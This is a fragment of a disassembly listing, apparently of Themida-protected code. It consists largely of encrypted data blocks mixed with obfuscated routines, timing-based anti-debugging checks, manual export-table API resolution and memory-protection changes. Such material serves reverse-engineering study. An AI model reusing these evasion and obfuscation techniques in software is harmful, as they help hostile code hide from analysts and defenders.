		dd 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h, 1DE3089h
		dd 0B996E8D7h, 404C9E1Dh, 52CCB2B8h, 0E5E0580Bh, 8B4A177Eh
		dd 0E2F4FF2Eh, 0E83D2329h, 295151F1h, 29C1FADCh, 2D1319E1h
		dd 0B051F1E8h, 324FCA96h, 0FECB279h, 0F54DF9C4h, 0B8C42E5Dh
		dd 585EA64Ah, 57E8D0F8h, 7086D800h
		dd 580BD18Eh, 0B9DA4118h, 0A3280DA7h, 54FC6A74h, 6753350Ch
		dd 12D38E0Eh, 7FAE0DC5h, 93DAB179h, 0CC2E5049h,	516869B6h
		dd 65C2DE22h, 0A325E01h, 0AA2DFAC2h, 7D5A6713h,	6E79A840h
		dd 24015368h, 0F4C109B2h, 0ED8B1AE2h, 8EEDF668h, 0C3F24AF6h
		dd 6A191359h, 51BF5E24h, 0E75F65ADh, 0F641ACEh,	0D1D79FE7h
		dd 643DCDEBh, 0A2A8D7FFh, 72BA01D5h, 5D8C33A5h,	0A066704Dh
		dd 45338A33h, 0A40C2452h, 4C58049Ch, 13EA32DEh,	487124B0h
		dd 2329585Eh, 337FB91Dh, 59A1C96Ah, 26A4C582h, 216E3852h
		dd 6DD706B5h, 34BF361h,	0EE1DA236h, 61D2E2E8h, 0E1B8704Ch
		dd 0EB7F3DA2h, 0AA62B96Ch, 278977F4h, 4C74F827h, 1C9F3704h
		dd 22E9EDCAh, 6FA7361Ch, 8A224A70h, 0C0B698DEh,	7840706Eh
		dd 6FC08C72h, 4978A070h, 0B6ED13Fh, 0E829D87Ah,	4DF9C214h
		dd 7DC55DF5h, 66421777h, 4BF71F76h, 0E52DD13Fh,	7C6D9CDFh
		dd 64426A7Ch, 1A12F04Ah, 720F1D07h, 0DA000001h,	8E6BBD02h
		dd 49267845h, 3E03289h,	0B895E7D2h, 134C9E1Fh, 0F1CC0BA5h
		dd 0AA0FC29Fh, 625D7B58h, 18A33310h, 2C32BAC6h,	580B5446h
		dd 13F85F5Ah, 2C8D44A5h, 0DAE02880h, 51F1E7F4h,	48E008h
		dd 15E46138h, 45CACC5h,	5E3191D5h, 113957E8h, 43EB5965h
		dd 0AE92F5FBh, 0C3A05DFEh, 0A4FCA813h, 0AE8A2E0Ch, 0F1DB3890h
		dd 104E3h, 2B944800h, 0E6D7FCD9h, 0A01BB794h, 5564714Eh
		dd 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h,	0A17ED0EFh
		dd 28348635h, 54B49AA0h, 0CDC8580Bh, 0F9A51366h, 0B51CE9B1h
		dd 1991D504h, 4157E84Ch, 76606D19h, 0C016F345h,	0D5434FFBh
		dd 0BFDBE129h, 2F5E01ADh, 0F5E8BF07h, 2C2ACEA9h, 9A7787B6h
		dd 6F3C8439h, 14245366h, 886E743Ch, 9C5E24E3h, 0E3D8BEC4h
		dd 0C4EC5E24h, 0E0F2FD2Ch, 29AC89DBh, 5B7B4890h, 0F9C41360h
		dd 0B6C6F54Dh, 6DBFFED9h, 4CB74790h, 0F788254Fh, 118C7278h
		dd 78A05E24h, 330048E0h, 18701C9Fh, 0D5FCD9E9h,	23B592E4h
		dd 1200E6ECh, 10835E24h, 9150F1A1h, 29AD8A50h, 1062FA92h
		dd 0C618A333h, 0B61CE8E9h, 0E6AB0D46h, 0C961ECC1h, 0E52DC51Dh
		dd 5400B918h, 0E1BDCDFCh, 0BB83CB73h, 0A8D7E4EEh, 1A4F4864h
		dd 0E490B864h, 6ABCFFD7h, 0C8Ch, 5EE4E300h, 4B39AA87h
		dd 0A7D68A76h, 0F5CA12C0h, 219A3C49h, 4F706875h, 7E3B96A3h
		dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h,	64597A87h
		dd 126833B8h, 54000056h, 8324048Fh, 56042404h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 14895C24h, 6506824h, 34890000h
		dd 6DBE5624h, 0BA695B0Bh, 20BE78D1h, 815EF231h,	0CC100AEAh
		dd 762B6843h, 24890000h, 24048124h, 4, 2C81525Eh, 0E8223424h
		dd 8468F47h, 34084681h,	8B47E822h, 89512434h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah, 0E9000000h
		dd 0FFFB0F3Bh, 0EB02EB2Bh, 18E944FBh
		db 6Ch
; ---------------------------------------------------------------------------


loc_59FACD:				; CODE XREF: sub_59EE86+E8j
		mov	eax, 6196E5Fh
		add	eax, ebp


loc_59FAD4:				; CODE XREF: sub_59EE86:loc_59EF69j
		mov	eax, ebx
		lea	ecx, [ebp+6196FF3h]
		push	0
		push	esi
		call	sub_59FAE7
		and	[esi-3Dh], bl
sub_59EE86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59FAE7	proc near		; CODE XREF: sub_59EE86+C59p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_59FAE7	endp

; ---------------------------------------------------------------------------
		push	esi
		fsubp	st(2), st
		xchg	eax, esi
		fidiv	dword ptr [ecx+edx*2-75h]
		fstp	dword ptr [eax-77h]
		test	[ebp+5], ecx
		adc	al, 6
		mov	[ebp+6143229h],	ecx
		push	0
		push	edx
		call	sub_59FB18
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FB18	proc near		; CODE XREF: Themida_:0059FB10p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_59FB18	endp

; ---------------------------------------------------------------------------
		dd 0B589C7EFh, 61416B5h, 64D85C7h, 68A80614h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0D4DC7C3h, 0DA282172h, 5E8h,	8DAE5E00h, 9D8B1306h, 6141039h
		dd 7185C75Fh, 61426h, 0B000000h, 140909B5h, 49B5FF06h
		dd 0E906140Dh, 8, 0E4DCE8Ah, 216A6840h,	236195FFh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 60914EC3h, 76675CC0h, 0E952F862h, 0Ah, 0EF22E261h, 0B75B66C8h
		dd 6A5B2651h, 6995FF00h, 8B061411h, 0DF49EBC0h,	3507BB53h
		dd 475AC8A3h, 2026003h,	0BF0FA95Ch, 2B017321h, 0EC4617C5h
		dd 2B736375h, 8391435Fh, 6A9457BBh, 6548AD95h, 0F9F901B1h
		dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh, 625F44D1h,	28D3BF71h
		dd 0AED0ACACh, 5F292FAFh, 13CE9h, 4Fh dup(0)
		dd 79BD8300h, 106141Dh,	489840Fh, 840F0000h, 0Fh, 0AE9h
		dd 7921C500h, 976B14A8h, 0C6D9DAEDh, 141A5985h,	0E9604306h
		dd 9, 0FD6126A7h, 450C55DBh, 0CE8F0h, 0BF3E0000h, 0AE858BC6h
		dd 3A5E444Ah, 59F82AEAh, 64C46861h, 6E9C85Eh, 27000000h
		dd 0FB3EBBBCh, 24048129h, 24476C31h, 0D1B5FFFCh, 0F06141Ah
		dd 789h, 18B0F00h, 0F5000000h, 80DB858Dh, 0FFF80617h, 138C0FD0h
		dd 60000000h, 0AE8F5h, 13630000h, 0EA76FF86h, 29768C7Eh
		dd 85896159h, 6141A85h,	5985C6F5h, 5006141Ah, 4E8F5h, 0AD560000h
		dd 820FA8ADh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 6050585Ah
		dd 1B9581BBh, 0F87BB4Ch, 8B615E1Eh, 60042444h, 60DF8B66h
		dd 0BF669BB3h, 6161BABCh, 0E960008Bh, 0Eh, 92327535h, 46F76BB4h
		dd 4C80C1CCh, 89619FA9h, 60042444h, 84A84DBEh, 61CF8A67h
		dd 81666058h, 0E93512C6h, 7, 0FA4F9659h, 61871517h, 1AD1B5FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 183FCEC3h, 858D0DF2h, 61780DBh, 0FE9h, 839E2600h
		dd 33683F5Eh, 0C973E9A1h, 50C58AB8h, 870FD0FFh,	0Ch, 7E9h
		dd 37F2EA00h, 9D4F4F91h, 3C98589h, 68F50614h, 0CC5B6369h
		dd 0F17B660h, 1682h, 11E900h, 412C0000h, 6491CA57h, 0AE2369A3h
		dd 4CE839B8h, 611F4411h, 46243481h, 6A3CD4CBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 56D5C353h, 1A54A054h, 0E91D6F94h, 10h, 64EA1419h, 5FCEAC82h
		dd 0F7EF570Ch, 88C1849Ah, 1AD1B5FFh, 60600614h,	61D6BF0Fh
		dd 2870Fh, 0FA8B0000h, 0DB858D61h, 0F8061780h, 860FD0FFh
		dd 15h,	0F8A0Fh, 0AE90000h, 54000000h, 8E257A9h, 667C2C59h
		dd 958589C7h, 0F06141Bh, 78Ah, 18B0F00h, 0FC000000h, 1A5985C6h
		dd 60500614h, 0E932C580h, 0Eh, 0A30378B9h, 0A744D9FEh
		dd 3485C9B6h, 0E8615C25h, 4, 979CDC56h,	12E860h, 214A0000h
		dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 8D0Fh, 0B95B0000h
		dd 410094D3h, 810F5061h, 16h, 11E9h, 838CA100h,	1BA6E3C4h
		dd 0CFC0696Eh, 7F2C02B2h, 448BFBCFh, 880F0424h,	0Eh, 61605250h
		dd 5250310Fh, 585A310Fh, 8B585Ah, 128E0Fh, 52500000h, 5E9h
		dd 16D6C600h, 310FF928h, 585A6160h, 4244489h, 615FBB60h
		dd 8B662172h, 6A5861F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0E6E8C355h,	0F987A1A9h
		dd 0AD7AB257h, 1145B5FFh, 8DF90614h, 143B1385h,	9E906h
		dd 6CF50000h, 833A0180h, 0FF401FDAh, 820FF9D0h,	1, 0A98589F5h
		dd 0F9061430h, 16EE9h, 0CE900h,	48BD0000h, 0D8AE0395h
		dd 4A34B445h, 6050D402h, 0ABD4B866h, 242C8961h,	0C820Fh
		dd 840F0000h, 6, 880Fh,	0EC8B0000h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C7C35747h,	6016051Ah, 0FCC48361h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h
		dd 0E9FCF3BAh, 6, 3906036Dh, 0F960693Eh, 0E8h, 0EA815A00h
		dd 619752Eh, 0FC45C7h, 83000000h, 141D79BAh, 840F0106h
		dd 98h,	6A006A52h, 8592FF0Fh, 5A06141Ah, 70468289h, 9A8D0619h
		dd 619704Ah, 2803C752h,	53000001h, 0C992FF50h, 5A061403h
		dd 4A9A8D52h, 53061970h, 7046B2FFh, 92FF0619h, 61430A9h
		dd 74C00B5Ah, 4A9A8D50h, 8D061970h, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 3231BA8Dh, 4D8B0614h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 6143231h, 9592FF50h,	5A06141Bh, 0A075C00Bh, 1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
; ---------------------------------------------------------------------------
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5A01D3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A01D3	proc near		; CODE XREF: Themida_:005A01CBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A01D3	endp

; ---------------------------------------------------------------------------
		mov	cl, 0ABh
		sbb	edi, ds:48E8C592h
		setalc
		push	eax
		jmp	loc_5A01F7
; ---------------------------------------------------------------------------
		dw 31E1h
; ---------------------------------------------------------------------------
		adc	al, 2		; CODE XREF: Themida_:005A020Bj
		scasb


loc_5A01F7:				; CODE XREF: Themida_:005A01EDj
		mov	edx, edx
		call	near ptr loc_5A020B+1
		dec	edi
		cmpsd
		sbb	edi, [ecx-2Eh]
		push	eax
		and	eax, 0D6C8BFA0h
		shr	byte ptr [eax],	1


loc_5A020B:				; CODE XREF: Themida_:005A01F9p
		jecxz	short near ptr loc_5A01F4+1
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 4657ED00h, 624C432Ch, 24D68166h, 0E85A5E1Ch,	7, 0A68EBD55h
		dd 0FCF08318h, 8C28158h, 0E8000066h, 0Fh, 98FF4887h, 7F94EAE4h
		dd 61AC4BA7h, 0F99964Bh, 687h, 8F0F00h,	5E000000h, 872F5BBBh
		dd 0E2C3811Eh, 66E178E9h, 0A8BF38Bh, 6E9h, 0FCB21900h
		dd 816A2CFFh, 2A51CBE9h, 10E95Ch, 0E3A60000h, 0F81CCB48h
		dd 707840FEh, 80FB67C7h, 0E98126C6h, 574BAB11h,	7E960h
		dd 35120000h, 72F01BC0h, 617FB1E6h, 8549C181h, 0E9607088h
		dd 0Dh,	8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 61D08B2Bh, 0FB8B6651h
		dd 0EA83028Fh, 8830F01h, 0F000000h, 287h, 4A616000h, 8A0F4A4Ah
		dd 4, 5EC58A53h, 1EB81h, 850F0000h, 1Ch, 0B8E0Fh, 8B0F0000h
		dd 5, 38F68166h, 14E983h, 4CA80000h, 43F36D51h,	0FFFF55E9h
		dd 0AC3406FFh, 0B160B98h, 8D8D7FE4h, 61977E9h, 2D69958Bh
		dd 8D890614h, 6143229h,	0CA96ABB8h, 0DE87Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0332:				; DATA XREF: Themida_:0054BCF0o
		dec	esi
		dec	esp
		aas
		mov	dh, 0D1h
		rcl	dword ptr [ebx-4Bh], 0C9h
		sbb	dh, [edi+0Eh]
		stosb
		jmp	loc_5A0352
; ---------------------------------------------------------------------------
		dd 14020A3Ch, 0ABE67AC5h, 99C95256h
		db 54h,	0CDh
; ---------------------------------------------------------------------------


loc_5A0352:				; CODE XREF: Themida_:005A033Fj
		pop	ebx
		mov	dword ptr [ebp+614064Dh], 66F0h
		or	[ebp+6143111h],	ebx
		mov	dword ptr [ebp+6142671h], 0
		push	0
		push	ecx
		call	sub_5A0378
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0378	proc near		; CODE XREF: Themida_:005A0370p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5A0378	endp

; ---------------------------------------------------------------------------
		dd 85CFA91Ch, 663D95FAh, 0F88BD08Bh, 0C4DB5FFh,	10E90614h
		dd 94000000h, 0C67742EEh, 0EF143C73h, 60D799CAh, 0FF68F8D6h
		dd 14236195h, 7E906h, 763A0000h, 0E606E6FFh, 0FF006AEFh
		dd 14116995h, 0EBC08B06h, 25D444Ah, 5169B1DDh, 0D2AA53E0h
		dd 0A095BFA3h, 6E177D8Fh, 0E12E6BEDh, 0A933D047h, 17478B4h
		dd 2C0919A6h, 582CB54Ch, 0FBE770h, 0F87BC5F7h, 5B91AB57h
		dd 0FA2B5098h, 8BD495FBh, 0C2F452C3h, 67242D03h, 0B134B14Eh
		dd 0E97BDC22h, 34h, 663FC6A3h, 0Ch dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A0974
; ---------------------------------------------------------------------------
		db 88h,	54h, 6Bh
		dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h,	0B9F7C1FAh
		dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h,	5FF4DAE0h
		dd 0D08580Bh, 0F7C412A6h, 0FBE1E7AFh, 0F51F1E7h, 0E84B3137h
		dd 375F51F1h, 0F906709Fh, 0B08DDFDEh, 0DCE99526h, 250B11FAh
		dd 3951F1E8h, 0C0CD7911h, 88FEAA13h, 8CE6624h, 9DA36BB3h
		dd 51F1E7B7h, 0D5EAEECBh, 0A39D129h, 4BB1DFAh, 0BC03D5B2h
		dd 0EBCE0310h, 0A48EA3Fh, 87D9E6F2h, 0D9DF2CAAh, 51F1E7F3h
		dd 9B47DF07h, 0F1E87255h, 5926EE51h, 3F97437Ah,	79CBE10h
		dd 0FEEDF15Eh, 65A0h, 0C412B700h, 21054BF7h, 9F51F1E8h
		dd 0F2C70AD7h, 0BAD171C3h, 0FEEDF1ABh, 0A53h, 0E7744B00h
		dd 1BD008B5h, 12DAC1F0h, 4350FCC1h, 1DE52D90h, 0F1E83117h
		dd 558BB451h, 0EFA44F5Ch, 68D20129h, 933F7A5Bh,	0C4704D86h
		dd 0F09C1FB7h, 79781A7Eh, 9235FC3h, 0C4A1F3CAh,	7F57A912h
		dd 0EBE721B2h, 348C38D0h, 0C5121E05h, 943F4CF8h, 430AE129h
		dd 9328AAC7h, 4384E33Ch, 0D438AA14h, 64597EB6h,	1AA13512h
		dd 4A71616Eh, 7441179Eh, 58B05C5Dh, 20BBD729h, 0FEED9555h
		dd 86C9h, 0DEF4C100h, 774890DDh, 5D4473CBh, 4CF8C512h
		dd 4A216D44h, 2C3994C0h, 0DBE0F2FDh, 3555B92Fh,	93E5D8FFh
		dd 0F09C21B6h, 7FC7F2E3h, 0F9AD18A8h, 46939715h, 95FF2E8Bh
		dd 35AEEC0Eh, 0FEEDA040h, 6EDEh, 82FFD600h, 3E5263BBh
		dd 8930A5F2h, 4017735Ah, 0D37DE0E4h, 0B3BEED22h, 0B45CDA24h
		dd 715A901Dh, 326F5BBh,	6F079FC6h, 9D22B6C3h, 6E4F8855h
		dd 0B136AC2h, 6DDAD3h, 4074DE0Dh, 0D1063E5Ch, 12E19AECh
		dd 3CA83DC1h, 7D299443h, 0C54DCE25h, 1EF53DD5h,	0B54816FBh
		dd 74DE0DD6h, 0F2914B2Eh, 97B3C751h, 0ED4869FCh, 195FEh
		dd 17AC0000h, 6A4F824Fh, 0F1E7FEE4h, 0BBEA1251h, 0ED9922B0h
		dd 0FDBE18E5h, 28914451h, 80566190h, 51828F3Bh,	25B3C06Ch
		dd 0F6E1EE9Ah, 0DC31BC7h, 7308E9A9h, 3788501Dh,	0B204338Bh
		dd 41946190h, 943E4978h, 0B586572h, 0F149F5C8h,	0BD2B0759h
		dd 0ACC3C911h, 2257E502h, 173E563Bh, 983022B0h,	0C4F7DFECh
		dd 9629AF7Ch, 8E4592EAh, 0FC2B832Fh, 0F4C70FECh, 0A694048h
		dd 0BA2CE796h, 47F3C60Fh, 0E42857EFh, 58061D00h, 2DDC7E62h
		dd 1ADC5956h, 0D605FBE5h, 5EB00BCBh, 20B15581h,	0B7CCFADAh
		dd 0A23AA3FAh, 5A069EF6h, 8632894Dh, 5A92B014h,	2AF73F7Ch
		dd 0D2E211AEh, 0D9B4D194h, 10B2DF8h, 58250000h,	2A114079h
		dd 0B1F9A513h, 0E50D74ABh, 0F7DBA857h, 2A1195C4h, 0FF3F1DE2h
		dd 0D9F845FCh, 44DC34E0h, 7DB99098h, 82C9FCB5h,	27AFBAE9h
		dd 71654294h, 0BF969E4Ah, 0ABD1B330h, 0FB0635D4h, 0C234E0DBh
		dd 0CE083C5Eh, 701C9D38h, 0F02E8018h, 0F8D95D75h, 3489h
		dd 0A613A000h, 0E4AAB0F8h, 36D1F1E7h, 999F6E69h, 0D1F1E7B3h
		dd 0D8079FC7h, 3A802C54h, 0D1F1E854h, 5F96B4D8h, 0FE044CF2h
		dd 51F1E838h, 0B492E40Ch, 81h, 0F9A5130Bh, 10F0ABB1h, 4F1C57E5h
		dd 3F8D7587h, 80D7864h,	3D6CC470h, 0D8E591B9h, 5986FEFEh
		dd 59F8DB5Bh, 44926FC1h, 74622F77h, 14439B47h, 208364AAh
		dd 0FBDF5806h, 8A31A55Fh, 42EE5C38h, 0B7C5F4FAh, 2D95DFCh
		dd 0C3E21101h, 4125A086h, 17748BFEh, 1A9F327Fh,	63E7166Eh
		dd 252BF33Bh, 5E1F7B3Fh, 6B20BCCh, 91C0E8AEh, 0FFBC1A27h
		dd 3E5CFE53h, 0ADF59907h, 161278A7h, 94E60E64h,	0F9A513DBh
		dd 7F7CABB1h, 0EA1257E8h, 0BA01D5A2h, 1D87B60Eh, 0A3F5C610h
		dd 0FFAB10C6h, 0F01A66B9h, 42006437h, 0FCDA2CAAh, 23BB13BFh
		dd 0D9E2F4D1h, 7A58252Dh, 878D9541h, 0B8321AA1h, 0C6F58DB5h
		dd 579F1ABBh, 2774498Ah, 9610DB0h, 6F6370DAh, 2A7FF78Dh
		dd 0CC645F44h, 0F7C21320h, 3654F64Bh, 0DE7C1EB3h, 0C30BB026h
		dd 0F60FF5FBh, 4792B831h, 12C8A478h, 0A23512D8h, 7F176F1Bh
		dd 0B8BB5F28h, 2FD2F7h,	43C313F0h, 777F2B8Eh, 31F58B71h
		dd 0DF779FB8h, 0F5AB9197h, 97BFB831h, 164553FFh, 9C000000h
		dd 2F8C4A17h, 5C617683h, 69C058B0h, 0FB589679h,	134C7B51h
		dd 0F5CA12ACh, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0AC6833B8h
		dd 8900001Dh, 81682434h, 89000023h, 89572404h, 4C781E7h
		dd 83000000h, 3C8704EFh, 34895C24h, 0B8505124h,	20C45BF4h
		dd 0D07E8C1h, 2553669Bh, 0DD8F748h, 478B72ACh, 6A048805h
		dd 58C18926h, 5459C889h, 8124348Bh, 4C4h, 5A505200h, 5A085689h
		dd 5024348Bh, 405E089h,	5000000h, 4, 5C240487h,	582434FFh
		dd 4C481h, 90E90000h, 1FFFFB00h, 8628DD63h
; ---------------------------------------------------------------------------


loc_5A0974:				; CODE XREF: Themida_:005A0450j
		mov	eax, 6197D17h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		align 2
		dw 0D32Dh
		dd 6097AE43h, 25DC5F60h, 435AAC32h, 0B4A8157Eh,	5196CE26h
		dd 0D445A658h, 0B3B3D874h, 5A8C4D5Fh, 51E8E834h, 13F10066h
		dd 24635A12h, 0F4080F77h, 0BE8D8D5Ah, 6A06197Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8AA5C351h, 0E68166C5h, 8D8920F0h, 6143229h, 2DDBD8Bh
		dd 85C70614h, 614064Dh,	6AE4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A2C35141h,	9CC33D52h, 85C70863h
		dd 6142671h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6140D79h],	esi
		push	dword ptr [ebp+6140591h]
		push	0
		push	ebp
		call	sub_5A0A33
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0A33	proc near		; CODE XREF: Themida_:005A0A2Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5A0A33	endp

; ---------------------------------------------------------------------------
		dec	edx
		fisttp	qword ptr [ecx]
		enter	39F0h, 70h
		push	ds
		sub	[ebp+6141155h],	ecx
		jmp	loc_5A0A69
; ---------------------------------------------------------------------------
		dw 1B7Bh
		dd 0CA63D6EDh, 0E01F3AB5h, 29921951h, 0F4D90E84h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_5A0A69:				; CODE XREF: Themida_:005A0A51j
		call	dword ptr [ebp+6142361h]
		push	0
		push	edi
		call	sub_5A0A7A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0A7A	proc near		; CODE XREF: Themida_:005A0A72p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5A0A7A	endp

; ---------------------------------------------------------------------------
		push	ebx
		sbb	[edx+edi*2], edi
		pop	ss
		xchg	eax, ebp
		mov	ebx, [ebp+6141925h]
		push	0
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_5A0B21
; ---------------------------------------------------------------------------
		popa
		mov	byte ptr ds:0FF99221Ch,	0E3h
		xor	esi, [edx]
		xor	[esi-0Bh], dh
		push	es
		retf
; ---------------------------------------------------------------------------
		db 0A2h, 0CDh, 6Bh
		dd 0C29A6D4Eh, 159763B9h, 3F01FF07h, 7F151F15h,	4A80CF7Eh
		dd 0A0D95206h, 0F1D59723h, 0F34E59FAh, 4877047Ah, 0CA72ACFh
		dd 482A763Fh, 56E02E88h, 0F41DB1A9h, 5B7B5E67h,	99A0EF4Ah
		dd 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h,	0E018BD67h
		dd 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h,	0D017DA9h
		dd 153E4D7Eh, 764FC208h
		db 0BAh
; ---------------------------------------------------------------------------


loc_5A0B21:				; CODE XREF: Themida_:005A0AA0j
		jmp	loc_5A0D8C
; ---------------------------------------------------------------------------
		pusha
		mov	cx, ds
		test	cl, 4
		jz	loc_5A0B68
		push	1
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+61780DBh]
		call	eax
		mov	[ebp+6140CBDh],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6140CBDh]
		jmp	loc_5A0B9A
; ---------------------------------------------------------------------------


loc_5A0B68:				; CODE XREF: Themida_:005A0B2Dj
		mov	byte ptr [ebp+6141A59h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6141AD1h]
		lea	eax, [ebp+61780DBh]
		call	eax
		mov	[ebp+6142C1Dh],	eax
		lea	eax, [ebp+6140101h]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+6142C1Dh]


loc_5A0B9A:				; CODE XREF: Themida_:005A0B63j
		popa
		retn
; ---------------------------------------------------------------------------
		dd 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6197FC5h],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+6197FBDh],	eax
		mov	eax, [edx+10h]
		mov	[ebp+6197FC1h],	eax
		lea	esi, [ebp+6197FFBh]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6197FC5h]
		mov	eax, [ebp+6197FBDh]
		cmp	dword ptr [ebp+6197FC1h], 0
		jz	loc_5A0BFA
		mov	[esi], eax
		jmp	locret_5A0BFC
; ---------------------------------------------------------------------------


loc_5A0BFA:				; CODE XREF: Themida_:005A0BEDj
		mov	[esi], al

locret_5A0BFC:				; CODE XREF: Themida_:005A0BF5j
		iret
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_5A0C05:				; DATA XREF: Themida_:00549654o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6197FC5h],	eax
		lea	esi, [ebp+619804Ch]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+6197FC5h]
		retn	4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 197FC585h, 89008B06h, 197FC585h, 0CF06h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5A0C3E	proc near		; DATA XREF: Themida_:00549960o
		pusha
		mov	[ebp+6198022h],	esi
		mov	[ebp+619801Eh],	eax
		lea	eax, [ebp+61412F5h]
		mov	eax, [eax+44h]
		mov	[ebp+619805Bh],	eax
		lea	esi, [ebp+6198091h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+6198022h]
		retn
sub_5A0C3E	endp

; ---------------------------------------------------------------------------
		mov	ebx, [ebp+619801Eh]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+619801Eh]
		mov	esi, [ebx+24h]
		add	esi, [ebp+619801Eh]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+619801Eh]
		add	esi, [ebp+619801Eh]
		cld
		or	ecx, 0FFFFFFFFh


loc_5A0CA5:				; CODE XREF: Themida_:005A0CC3j
					; Themida_:005A0CD2j
		inc	ecx
		mov	ebx, [ebp+6198022h]
		mov	edx, [edi]
		add	edx, [ebp+619801Eh]
		add	edi, 4


loc_5A0CB7:				; CODE XREF: Themida_:005A0CCBj
		mov	al, [edx]
		test	al, al
		jz	loc_5A0CD0
		cmp	al, [ebx]
		jnz	loc_5A0CA5
		inc	ebx
		inc	edx
		jmp	loc_5A0CB7
; ---------------------------------------------------------------------------


loc_5A0CD0:				; CODE XREF: Themida_:005A0CBBj
		cmp	al, [ebx]
		jnz	loc_5A0CA5
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+619801Eh]
		mov	[ebp+6198022h],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+619805Bh], 0C0300000h
		jnz	loc_5A0D11
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5A0D19
; ---------------------------------------------------------------------------


loc_5A0D11:				; CODE XREF: Themida_:005A0CFEj
		shr	eax, 12h
